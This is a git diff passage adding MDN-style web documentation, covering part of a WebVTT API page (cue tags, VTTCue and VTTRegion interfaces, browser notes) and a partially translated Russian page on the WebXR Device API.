+<p>There are a number of tags, such as <code>&lt;bold&gt;</code>, that can be used. However, if the WebVTT file is used in a {{HTMLElement("track")}} element where the attribute {{htmlattrxref("kind")}} is <code>chapters</code> then you cannot use tags.</p>
+
+<ul>
+ <li><strong>Timestamp tag</strong>
+
+  <ul>
+   <li>The timestamp must be greater that the cue's start timestamp, greater than any previous timestamp in the cue payload, and less than the cue's end timestamp. The <em>active text</em> is the text between the timestamp and the next timestamp or to the end of the payload if there is not another timestamp in the payload. Any text before the <em>active text</em> in the payload is <em>previous text</em> . Any text beyond the <em>active text</em> is <em>future text</em> . This enables karaoke style captions.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_12_-_Karaoke_style_text">Example 12 - Karaoke style text</h5>
+
+  <pre class="eval notranslate">1
+00:16.500 --&gt; 00:18.500
+When the moon &lt;00:17.500&gt;hits your eye
+
+1
+00:00:18.500 --&gt; 00:00:20.500
+Like a &lt;00:19.000&gt;big-a &lt;00:19.500&gt;pizza &lt;00:20.000&gt;pie
+
+1
+00:00:20.500 --&gt; 00:00:21.500
+That's &lt;00:00:21.000&gt;amore
+</pre>
+  </div>
+ </li>
+</ul>
+
+<p>The following tags are the HTML tags allowed in a cue and require opening and closing tags (e.g., <code>&lt;b&gt;text&lt;/b&gt;</code>).</p>
+
+<ul>
+ <li><strong>Class tag</strong> (<code>&lt;c&gt;&lt;/c&gt;</code>)
+
+  <ul>
+   <li>Style the contained text using a CSS class.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_14_-_Class_tag">Example 14 - Class tag</h5>
+
+  <pre class="notranslate">&lt;c.classname&gt;text&lt;/c&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Italics tag</strong> (<code>&lt;i&gt;&lt;/i&gt;</code>)
+  <ul>
+   <li>Italicize the contained text.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_15_-_Italics_tag">Example 15 - Italics tag</h5>
+
+  <pre class="notranslate">&lt;i&gt;text&lt;/i&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Bold tag</strong> (<code>&lt;b&gt;&lt;/b&gt;</code>)
+  <ul>
+   <li>Bold the contained text.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_16_-_Bold_tag">Example 16 - Bold tag</h5>
+
+  <pre class="notranslate">&lt;b&gt;text&lt;/b&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Underline tag</strong> (<code>&lt;u&gt;&lt;/u&gt;</code>)
+  <ul>
+   <li>Underline the contained text.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_17_-_Underline_tag">Example 17 - Underline tag</h5>
+
+  <pre class="notranslate">&lt;u&gt;text&lt;/u&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Ruby tag</strong> (<code>&lt;ruby&gt;&lt;/ruby&gt;</code>)
+  <ul>
+   <li>Used with ruby text tags to display <a href="http://en.wikipedia.org/wiki/Ruby_character">ruby characters</a> (i.e., small annotative characters above other characters).</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_18_-_Ruby_tag">Example 18 - Ruby tag</h5>
+
+  <pre class="notranslate">&lt;ruby&gt;WWW&lt;rt&gt;World Wide Web&lt;/rt&gt;oui&lt;rt&gt;yes&lt;/rt&gt;&lt;/ruby&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Ruby text tag</strong> (<code>&lt;rt&gt;&lt;/rt&gt;</code>)
+  <ul>
+   <li>Used with ruby tags to display <a href="http://en.wikipedia.org/wiki/Ruby_character">ruby characters</a> (i.e., small annotative characters above other characters).</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_19_-_Ruby_text_tag">Example 19 - Ruby text tag</h5>
+
+  <pre class="notranslate">&lt;ruby&gt;WWW&lt;rt&gt;World Wide Web&lt;/rt&gt;oui&lt;rt&gt;yes&lt;/rt&gt;&lt;/ruby&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Voice tag</strong> (<code>&lt;v&gt;&lt;/v&gt;</code>)
+  <ul>
+   <li>Similar to class tag, also used to style the contained text using CSS.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_20_-_Voice_tag">Example 20 - Voice tag</h5>
+
+  <pre class="notranslate">&lt;v Bob&gt;text&lt;/v&gt;</pre>
+  </div>
+ </li>
+</ul>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>There are two interfaces or APIs used in WebVTT which are:</p>
+
+<h3 id="VTTCue_interface">VTTCue interface</h3>
+
+<p>It is used for providing an interface in Document Object Model API, where different attributes supported by it can be used to prepare and alter the cues in number of ways.</p>
+
+<p>Constructor is the first point for starting the Cue which is defined using the default constructor VTTCue(startTime, endTime, text) where starting time, ending time and text for cue can be adjusted. After that we can set the region for that particular cue to which this cue belongs using cue.region. Vertical, horizontal, line, lineAlign, Position, positionAlign, text, size and Align can be used to alter the cue and its formation, just like we can alter the objects form, shape and visibility in HTML using CSS. But the VTTCue interface is within the WebVTT provides the vast range of adjustment variables which can be used directly to alter the Cue. Following interface can be used to expose WebVTT cues in DOM API:</p>
+
+<pre class="idl def notranslate">enum <dfn>AutoKeyword</dfn> { <dfn>"auto"</dfn> };
+enum <dfn>DirectionSetting</dfn> { <dfn>""</dfn> /* horizontal */, <dfn>"rl"</dfn>, <dfn>"lr"</dfn> };
+enum <dfn>LineAlignSetting</dfn> { <dfn>"start"</dfn>, <dfn>"center"</dfn>, <dfn>"end"</dfn> };
+enum <dfn>PositionAlignSetting</dfn> { <dfn>"line-left"</dfn>, <dfn>"center"</dfn>, <dfn>"line-right"</dfn>, <dfn>"auto"</dfn> };
+enum <dfn>AlignSetting</dfn> { <dfn>"start"</dfn>, <dfn>"center"</dfn>, <dfn>"end"</dfn>, <dfn>"left"</dfn>, <dfn>"right"</dfn> };
+[<a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-vttcue" id="ref-for-dom-vttcue-vttcue-1">Constructor</a>(double <dfn>startTime</dfn>, double <dfn>endTime</dfn>, DOMString <dfn>text</dfn>)]
+interface <dfn>VTTCue</dfn> : <a href="https://html.spec.whatwg.org/multipage/embedded-content.html#texttrackcue">TextTrackCue</a> {
+  attribute <a href="https://w3c.github.io/webvtt/#vttregion" id="ref-for-vttregion-1">VTTRegion</a>? <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-region" id="ref-for-dom-vttcue-region-1">region</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-directionsetting" id="ref-for-enumdef-directionsetting-1">DirectionSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-vertical" id="ref-for-dom-vttcue-vertical-1">vertical</a>;
+  attribute boolean <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-snaptolines" id="ref-for-dom-vttcue-snaptolines-2">snapToLines</a>;
+  attribute (double or <a href="https://w3c.github.io/webvtt/#enumdef-autokeyword" id="ref-for-enumdef-autokeyword-1">AutoKeyword</a>) <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-line" id="ref-for-dom-vttcue-line-2">line</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-linealignsetting" id="ref-for-enumdef-linealignsetting-1">LineAlignSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-linealign" id="ref-for-dom-vttcue-linealign-1">lineAlign</a>;
+  attribute (double or <a href="https://w3c.github.io/webvtt/#enumdef-autokeyword" id="ref-for-enumdef-autokeyword-2">AutoKeyword</a>) <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-position" id="ref-for-dom-vttcue-position-1">position</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-positionalignsetting" id="ref-for-enumdef-positionalignsetting-1">PositionAlignSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-positionalign" id="ref-for-dom-vttcue-positionalign-1">positionAlign</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-size" id="ref-for-dom-vttcue-size-1">size</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-alignsetting" id="ref-for-enumdef-alignsetting-1">AlignSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-align" id="ref-for-dom-vttcue-align-1">align</a>;
+  attribute DOMString <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-text" id="ref-for-dom-vttcue-text-1">text</a>;
+  <a href="https://dom.spec.whatwg.org/#documentfragment">DocumentFragment</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-getcueashtml" id="ref-for-dom-vttcue-getcueashtml-2">getCueAsHTML</a>();
+};</pre>
+
+<h3 id="VTT_Region_interface">VTT Region interface</h3>
+
+<p>This is the second interface in WebVTT API.</p>
+
+<p>The new keyword can be used for defining a new VTTRegion object which can then be used for containing the multiple cues. There are several properties of VTTRegion which are width, lines, regionAnchorX, RegionAnchorY, viewportAnchorX, viewportAnchorY and scroll that can be used to specify the look and feel of this VTT region. The interface code is given below which can be used to expose the WebVTT regions in DOM API:</p>
+
+<pre class="idl def notranslate">enum <dfn>ScrollSetting</dfn> { <dfn>""</dfn> /* none */, <dfn>"up"</dfn> };
+[<a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-vttregion" id="ref-for-dom-vttregion-vttregion-1">Constructor</a>]
+interface <dfn>VTTRegion</dfn> {
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-width" id="ref-for-dom-vttregion-width-1">width</a>;
+  attribute long <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-lines" id="ref-for-dom-vttregion-lines-1">lines</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-regionanchorx" id="ref-for-dom-vttregion-regionanchorx-1">regionAnchorX</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-regionanchory" id="ref-for-dom-vttregion-regionanchory-1">regionAnchorY</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-viewportanchorx" id="ref-for-dom-vttregion-viewportanchorx-1">viewportAnchorX</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-viewportanchory" id="ref-for-dom-vttregion-viewportanchory-1">viewportAnchorY</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-scrollsetting" id="ref-for-enumdef-scrollsetting-1">ScrollSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-scroll" id="ref-for-dom-vttregion-scroll-1">scroll</a>;
+};</pre>
+
+<h2 id="Methods_and_properties">Methods and properties</h2>
+
+<p>The methods used in WebVTT are those which are used to alter the cue or region as the attributes for both interfaces are different. We can categorize them for better understanding relating to each interface in WebVTT:</p>
+
+<ul style="list-style-type: circle;">
+ <li>
+  <h3 id="VTTCue">VTTCue</h3>
+
+  <ul>
+   <li>The methods which are available in this interface are:
+    <ul style="list-style-type: circle;">
+     <li>GetCueAsHTML to get the HTML of that Cue.</li>
+     <li>VTT Constructor for creating new objects of Cues.</li>
+     <li>Autokeyword.</li>
+     <li>DirectionSetting: to set the direction of caption or text in a file.</li>
+     <li>LineAlignment: to adjust the line alignment.</li>
+     <li>PositionAlignSetting: to adjust the position of text.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <h3 id="VTTRegion">VTTRegion</h3>
+
+  <ul>
+   <li>The methods used for region are listed below along with description of their functionality:
+    <ul style="list-style-type: circle;">
+     <li>ScrollSetting: For adjusting the scrolling setting of all nodes present in given region.</li>
+     <li>VTT Region Constructor: for construction of new VTT Regions.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Tutorial_on_how_to_write_a_WebVTT_file">Tutorial on how to write a WebVTT file</h2>
+
+<p>There are few steps that can be followed to write a simple webVTT file. Before start, it must be noted that you can make use of a notepad and then save the file as ‘.vtt’ file. Steps are given below:</p>
+
+<ol>
+ <li>Open a notepad.</li>
+ <li>The first line of WebVTT is standardized similar in the way some other languages require you to put headers as the file starts to indicate the file type. One the very first line you have to write.</li>
+</ol>
+
+<pre class="notranslate">WEBVTT</pre>
+
+<p>      3. Leave the second line blank, and on the third line the time for first cue is to be specified. For example, for a first cue starting at time 1 second and ending at 5 seconds, it is written as:</p>
+
+<pre class="notranslate">00:01.000 --&gt; 00:05.000</pre>
+
+<ol>
+ <li>On the next line you can write the caption for this cue which will run from 1<sup>st</sup> second to the 5<sup>th</sup> second, inclusive.</li>
+ <li>Following the similar steps, a complete WebVTT file for specific video or audio file can be made.</li>
+</ol>
+
+<h2 id="CSS_pseudo-classes">CSS pseudo-classes</h2>
+
+<p>CSS pseudo classes allow us to classify the type of object which we want to differentiate from other types of objects. It works in similar manner in WebVTT files as it works in HTML file.</p>
+
+<p>It is one of the good features supported by WebVTT is the localization and use of class elements which can be used in same way they are used in HTML and CSS to classify the style for particular type of objects, but here these are used for styling and classifying the Cues as shown below:</p>
+
+<pre class="notranslate">WEBVTT
+
+04:02.500 --&gt; 04:05.000
+J’ai commencé le basket à l'âge de 13, 14 ans
+
+04:05.001 --&gt; 04:07.800
+Sur les &lt;i.foreignphrase&gt;&lt;lang en&gt;playground&lt;/lang&gt;&lt;/i&gt;, ici à Montpellier</pre>
+
+<p>In the above example it can be observed that we can use the identifier and pseudo class name for defining the language of caption, where <code>&lt;i&gt;</code> tag is for italics.</p>
+
+<p>The type of pseudo class is determined by the selector it is using and working is similar in nature as it works in HTML. Following CSS pseudo classes can be used:</p>
+
+<ul>
+ <li>Lang (Lanugage): e.g., p:lang(it).</li>
+ <li>Link: e.g., a:link.</li>
+ <li>Nth-last-child: e.g., p:nth-last-child(2).</li>
+ <li>Nth-child(n): e.g., p:nth-child(2).</li>
+</ul>
+
+<p>Where p and a are the tags which are used in HTML for paragraph and link, respectively and they can be replaced by identifiers which are used for Cues in WebVTT file.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebVTT")}}</td>
+   <td>{{Spec2("WebVTT")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<h3 id="VTTCue_interface_2"><code>VTTCue</code> interface</h3>
+
+<div>
+
+
+<p>{{Compat("api.VTTCue", 0)}}</p>
+
+<h3 id="TextTrack_interface"><code>TextTrack</code> interface</h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.TextTrack", 0)}}</p>
+
+<h3 id="Notes">Notes</h3>
+</div>
+</div>
+
+
+
+<p>Prior to Firefox 50, the <code>AlignSetting</code> enum (representing possible values for {{domxref("VTTCue.align")}}) incorrectly included the value <code>"middle"</code> instead of <code>"center"</code>. This has been corrected.</p>
+
+<p>WebVTT was implemented in Firefox 24 behind the preference {{pref("media.webvtt.enabled")}}, which is disabled by default; you can enable it by setting this preference to <code>true</code>. WebVTT is enabled by default starting in Firefox 31 and can be disabled by setting the preference to <code>false</code>.</p>
+
+<p>Prior to Firefox 58, the <code>REGION</code> keyword was creating {{domxref("VTTRegion")}} objects, but they were not being used. Firefox 58 now fully supports <code>VTTRegion</code> and its use; however, this feature is disabled by default behind the preference <code>media.webvtt.regions.enabled</code>; set it to <code>true</code> to enable region support in Firefox 58. Regions are enabled by default starting in Firefox 59 (see bugs {{bug(1338030)}} and {{bug(1415805)}}).</p>
diff --git a/files/ru/web/api/webxr_device_api/index.html b/files/ru/web/api/webxr_device_api/index.html
new file mode 100644
index 0000000000..913ea6fcf9
--- /dev/null
+++ b/files/ru/web/api/webxr_device_api/index.html
@@ -0,0 +1,197 @@
+---
+title: WebXR Device API
+slug: Web/API/WebXR_Device_API
+translation_of: Web/API/WebXR_Device_API
+---
+<p>{{DefaultAPISidebar("WebXR Device API")}}</p>
+
+<p><span class="seoSummary"><strong>WebXR</strong> is a group of standards which are used together to support rendering 3D scenes to hardware designed for presenting virtual worlds (<strong>virtual reality</strong>, or <strong>VR</strong>), or for adding graphical imagery to the real world, (<strong>augmented reality</strong>, or <strong>AR</strong>).</span> The <strong>WebXR Device API</strong> implements the core of the WebXR feature set, managing the selection of output devices, render the 3D scene to the chosen device at the appropriate frame rate, and manage motion vectors created using input controllers.</p>
+
+<p>WebXR-compatible devices include fully-immersive 3D headsets with motion and orientation tracking, eyeglasses which overlay graphics atop the real world scene passing through the frames, and handheld mobile phones which augment reality by capturing the world with a camera and augment that scene with computer-generated imagery.</p>
+
+<p>To accomplish these things, the WebXR Device API provides the following key capabilities:</p>
+
+<ul>
+ <li>Find compatible VR or AR output devices</li>
+ <li>Render a 3D scene to the device at an appropriate frame rate</li>
+ <li>(Optionally) mirror the output to a 2D display</li>
+ <li>Create vectors representing the movements of input controls</li>
+</ul>
+
+<p>At the most basic level, a scene is presented in 3D by computing the perspective to apply to the scene in order to render it from the viewpoint of each of the user's eyes by computing the position of each eye and rendering the scene from that position, looking in the direction the user is currently facing. Each of these two images is rendered into a single framebuffer, with the left eye's rendered image on the left and the right eye's viewpoint rendered into the right half of the buffer. Once both eyes' perspectives on the scene have been rendered, the resulting framebuffer is delivered to the WebXR device to be presented to the user through their headset or other appropriate display device.</p>
+
+<h2 id="WebXR_Device_API_concepts_and_usage">WebXR Device API concepts and usage</h2>
+
+<figure style="background: #eee; padding: 0.5em; border: 1px solid #aaa; border-radius: 1em; max-width: 20em; margin-bottom: 1em; margin-right: 2em; float: left;">
+<figcaption><strong>Example WebXR hardware setup</strong></figcaption>
+<img alt='Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labeled "Position sensor"' src="https://mdn.mozillademos.org/files/11035/hw-setup.png"></figure>
+
+<p>While the older <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a> was designed solely to support Virtual Reality (VR), WebXR provides support for both VR and Augmented Reality (AR) on the web. Support for AR functionality is added by the WebXR Augmented Reality Module.</p>
+
+<p>A typical XR device can have either 3 or 6 degrees of freedom and might or might not have an external positional sensor.</p>
+
+<p>The equipment may also include an accelerometer, barometer, or other sensors which are used to sense when the user moves through space, rotates their head, or the like.</p>
+
+<h2 id="Accessing_the_WebXR_API">Accessing the WebXR API</h2>
+
+<p>To gain access to the WebXR API within the context of a given window, use the {{domxref("navigator.xr")}} property, which returns an {{domxref("XRSystem")}} object through which the entire WebXR Device APi is then exposed.</p>
+
+<dl>
+ <dt>{{domxref("navigator.xr")}} {{ReadOnlyInline}}</dt>
+ <dd>This property, added to the {{domxref("Navigator")}} interface, returns the {{domxref("XRSystem")}} object through which the WebXR API is exposed. If this property is missing or <code>null</code>, WebXR is not available.</dd>
+</dl>
+
+<h2 id="Интерфейсы_WebXR">Интерфейсы WebXR</h2>
+
+<dl>
+ <dt>{{DOMxRef("XR")}}</dt>
+ <dd>The {{domxref("Navigator.xr", "navigator.xr")}} property returns the window's instance of {{domxref("XRSystem")}}, which is the mechanism by which your code accesses the WebXR API. Using the <code>XRSystem</code> interface, you can create {{domxref("XRSession")}}s to represent actual AR and/or VR sessions.</dd>
+ <dt>{{DOMxRef("XRFrame")}}</dt>
+ <dd>While presenting an XR session, the state of all tracked objects which make up the session are represented by an <code>XRFrame</code>. To get an <code>XRFrame</code>, call the session's {{domxref("XRSession.requestAnimationFrame", "requestAnimationFrame()")}} method, providing a callback which will be called with the <code>XRFrame</code> once available. Events which communicate tracking states will also use <code>XRFrame</code> to contain that information.</dd>
+ <dt>{{DOMxRef("XRRenderState")}}</dt>
+ <dd>Provides a set of configurable properties which change how the imagery output by an <code>XRSession</code> is composited.</dd>
+ <dt>{{DOMxRef("XRSession")}}</dt>
+ <dd>Provides the interface for interacting with XR hardware. Once an <code>XRSession</code> is obtained from {{domxref("XRSystem.requestSession", "navigator.xr.requestSession()")}}, the session can be used to check the position and orientation of the viewer, query the device for environment information, and present the virtual or augmented world to the user.</dd>
+ <dt>{{DOMxRef("XRSpace")}}</dt>
+ <dd><code>XRSpace</code> is an opaque base class on which all virtual coordinate system interfaces are based. Positions in WebXR are always expressed in relation to a particular <code>XRSpace</code> at the time at which a particular {{domxref("XFrame")}} takes place. The space's coordinate system has its origin at the a given physical position.</dd>
+ <dt>{{DOMxRef("XRReferenceSpace")}}</dt>
+ <dd>A subclass of {{domxref("XRSpace")}} which is used to identify a spatial relationship in relation to the user's physical environment. The <code>XRReferenceSpace</code> coordinate system is expected to remain unchanged through the lifespan of the {{domxref("XRSession")}}.The world has no boundaries and extends infinitely in every direction.</dd>
+ <dt>{{DOMxRef("XRBoundedReferenceSpace")}}</dt>
+ <dd><code>XRBoundedReferenceSpace</code> extends the {{domxref("XRReferenceSpace")}} coordinate system to further include support for a finite world with set boundaries. Unlike <code>XRReferenceSpace</code>, the origin must be located on the floor (that is, <em>y</em> = 0 at the floor). The x and z components of the origin are typically presumed to be located at or near the center of the room or surface.</dd>
+ <dt>{{DOMxRef("XRView")}}</dt>
+ <dd>Represents a single view into the XR scene for a particular frame. Each <code>XRView</code> corresponds to the video display surface used to present the scene to the user. For example, a given XR device might have two views: one for the left eye and one for the right. Each view has an offset used to shift the position of the view relative to the camera, in order to allow for creating stereographic effects.</dd>
+ <dt>{{DOMxRef("XRViewport")}}</dt>
+ <dd>Describes a viewport. A viewport is a rectangular portion of a graphic surface. In WebXR, a viewport represents the area of a drawing surface corresponding to a particular {{domxref("XRView")}}, such as the portion of the WebGL framebuffer used to render one of the two eyes' perspectives on the scene.</dd>
+ <dt>{{DOMxRef("XRRigidTransform")}}</dt>
+ <dd>A transform defined using a position and orientation in the virtual space's coordinate system as described by the {{domxref("XRSpace")}}.</dd>
+ <dt>{{DOMxRef("XRPose")}}</dt>
+ <dd>Describes a position and orientation in space relative to an {{domxref("XRSpace")}}.</dd>
+ <dt>{{DOMxRef("XRViewerPose")}}</dt>
+ <dd>Based on {{domxref("XRPose")}}, <code>XRViewerPose</code> specifies the state of a viewer of the WebXR scene as indicated by the XR device. Included is an array of {{domxref("XRView")}} objects, each representing one perspective on the scene. For example, it takes two views to create the stereoscopic view as perceived by human vision—one for the left eye and a second for the right eye. One view is offset to the left slightly from the viewer's position, and the other view is offset to the right by the same distance. The view list can also be used to represent the perspectives of each of the spectators of a scene, in a multi-user environment.</dd>
+ <dt>{{DOMxRef("XRInputSource")}}</dt>
+ <dd>Represents any input device the user can use to perform targeted actions within the same virtual space as the viewer. Input sources may include devices such as hand controllers, optical tracking systems, and other devices which are explicitly associated with the XR device. Other input devices such as keyboards, mice, and gamepads are not presented as <code>XRInputSource</code> instances.</dd>
+ <dt>{{DOMxRef("XRWebGLLayer")}}</dt>
+ <dd>A layer which serves as a <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> frame buffer into which a scene's view is rendered. Using WebGL to render the scene gains substantial performance benefits due to graphics acceleration.</dd>
+</dl>
+
+<h3 id="Интерфейсы_событий_WebXR">Интерфейсы событий WebXR</h3>
+
+<p>Следующие интерфейсы представляют события WebXR API.</p>
+
+<dl>
+ <dt>{{domxref("XRInputSourceEvent")}}</dt>
+ <dd>Sent when the state of an {{domxref("XRInputSource")}} changes. This can happen, for example, when the position and/or orientation of the device changes, or when buttons are pressed or released.</dd>
+ <dt>{{domxref("XRInputSourcesChangeEvent")}}</dt>
+ <dd>Sent to indicate that the set of available input sources has changed for the {{domxref("XRSession")}}.</dd>
+ <dt>{{domxref("XRReferenceSpaceEvent")}}</dt>
+ <dd>Sent when the state of an {{domxref("XRReferenceSpace")}} changes.</dd>
+ <dt>{{domxref("XRSessionEvent")}}</dt>
+ <dd>Sent to indicate that the state of an {{domxref("XRSession")}} has changed. For example, if the position and/or orient</dd>
+</dl>
+
+<h2 id="Расширения_к_WebGL_API">Расширения к WebGL API</h2>
+
+<p>WebGL API расширяется спецификацией WebXR для того, чтобы дополнить контекст WebGL, чтобы с помощью него можно было отрисовывать изображение для отображения на устройствах WebXR.</p>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContextBase.makeXRCompatibile","WebGLRenderingContextBase.makeXRCompatibile()")}}</dt>
+ <dd>Настраивает контекст WebGL для совместимости с WebXR. Если при создании контекста опция {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} не была установлена как <code>true</code>, необходимо вызвать метод <code>makeXRCompatible()</code> до использования контекста WebGL для рендеринга WebXR. Возвращает {{jsxref("Promise")}}, выполняющийся, когда контекст был подготовлен, или отклонен, если контекст не может быть настроен для работы с WebXR.</dd>
+</dl>
+
+<h2 id="Руководства_и_уроки">Руководства и уроки</h2>
+
+<p>Следующие руководства и уроки помогут Вам изучить, как работает WebXR и низкоуровневые функции 3D и VR/AR графики.</p>
+
+<h3 id="Основы">Основы</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Fundamentals">Fundamentals of WebXR</a></dt>
+ <dd>Before diving into the details of how to create content using WebXR, it may be helpful to read this overview of the technology, which includes introductions to terminology that may be unfamiliar to you, or which may be used in a new way.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Matrix_math_for_the_web">Matrix math for the web</a></dt>
+ <dd>A guide covering how matrices can be used on the web, including both for CSS transforms and for WebGL purposes, as well as to handle the positioning and orientation of objects in WebXR contexts.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Lifecycle">WebXR application life cycle </a></dt>
+ <dd>An overview of the overall life cycle of a WebXR application, from startup to shutdown. This article serves as an introduction to the basics of what's involved in creating a WebXR experience without diving into the code in detail. It's a good way to prepare for the next steps.</dd>
+</dl>
+
+<h3 id="Создание_приложения_смешанной_реальности">Создание приложения смешанной реальности</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Startup_and_shutdown">Starting up and shutting down a WebXR session</a></dt>
+ <dd>Before actually presenting a scene using an XR device such as a headset or goggles, you need to create a WebXR session bound to a rendering layer that draws the scene for presentation in each of the XR device's displays so that the 3D effect can be presented to the user. This guide covers how to create and stop WebXR sessions.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Geometry">Geometry and reference spaces in WebXR</a></dt>
+ <dd>In this guide, the required concepts of 3D geometry are briefly reviewed, and the fundamentals of how that geometry is represented in WebXR are detailed. Learn how reference spaces are used to position objects—and the viewer—and the differences among the available types of reference space, as well as their use cases.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Spatial_tracking">Spatial tracking in WebXR</a></dt>
+ <dd>This guide describes how objects—including the user's body and its parts—are located in space, and how their movement and orientation relative to one another is monitored and managed over time. This article explains the relationship between spaces, poses, viewers, and views.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Rendering">Rendering and the WebXR frame animation callback</a></dt>
+ <dd>Starting with how you schedule frames to be rendered, this guide then continues to cover how to determine the placement of objects in the view and how to then render them into the WebGL buffer used for each of the two eyes' views of the scene.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Cameras">Viewpoints and viewers: Simulating cameras in WebXR </a></dt>
+ <dd>WebGL (and therefore WebXR) doesn't really have a concept of a camera, which is the traditional concept used to represent a viewpoint in 3D graphics. In this article, we see how to simulate a camera and how to create the illusion of moving a viewer through a world in which the viewer doesn't really move.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Lighting">Lighting a WebXR setting</a></dt>
+ <dd>Since WebXR rendering is based upon WebGL, the same lighting techniques used for any 3D application are applied to WebXR scenes. However, there are issues specific to creating augmented and virtual reality settings that need to be considered when writing your lighting code. This article discusses those issues.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Bounded_reference_spaces">Using bounded reference spaces</a></dt>
+ <dd>In this article, we examine how to use a <code>bounded-floor</code> reference space to define the boundaries of where the viewer can safely move about without leaving the area tracked by their XR hardware or colliding with a physical obstacle. On devices which support it, <code>bounded-floor</code> can be a useful tool in your repertoire.</dd>
+</dl>
+
+<h3 id="Интерактивность">Интерактивность</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Movement_and_motion">Movement, orientation, and motion: A WebXR example</a></dt>
+ <dd>In this example and tutorial, we use information learned throughout the WebXR documentation to create a scene containing a rotating cube which the user can move around using both VR headset and keyboard and mouse.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Inputs">Inputs and input sources</a></dt>
+ <dd>A guide to input sources and how to efficiently manage the input devices being used to control the WebXR session, and how to receive and process user inputs from those devices.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API/Targeting">Targeting and hit detection </a></dt>
+ <dd>How to use an input source's targeting ray mode and targeting ray space to display a targeting ray, identify targeted surfaces or objects, and perform related tasks.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Input_profiles">Using WebXR input profiles</a></dt>
+ <dd>A guide to interpreting the {{Glossary("JSON")}} data provided by the <a href="https://github.com/immersive-web/webxr-input-profiles/tree/master/packages/registry">WebXR Input Profiles Registry</a>, which can be used to determine what options and controls are available on the user's available input devices.</dd>
+ <dt><a href="/en-US/docs/Web/WebXR_Device_API/Gamepads">Supporting advanced controllers and gamepads in WebXR applications</a></dt>
+ <dd>WebXR uses the {{domxref("Gamepad")}} object to describe the controls available on complex input devices (such as hand controllers with multiple buttons and/or axes) and gamepad-like devices. In this guide, learn how to make use of these devices' controls.</dd>
+</dl>
+
+<h3 id="Производительность_и_безопасность">Производительность и безопасность</h3>
+
+<dl>
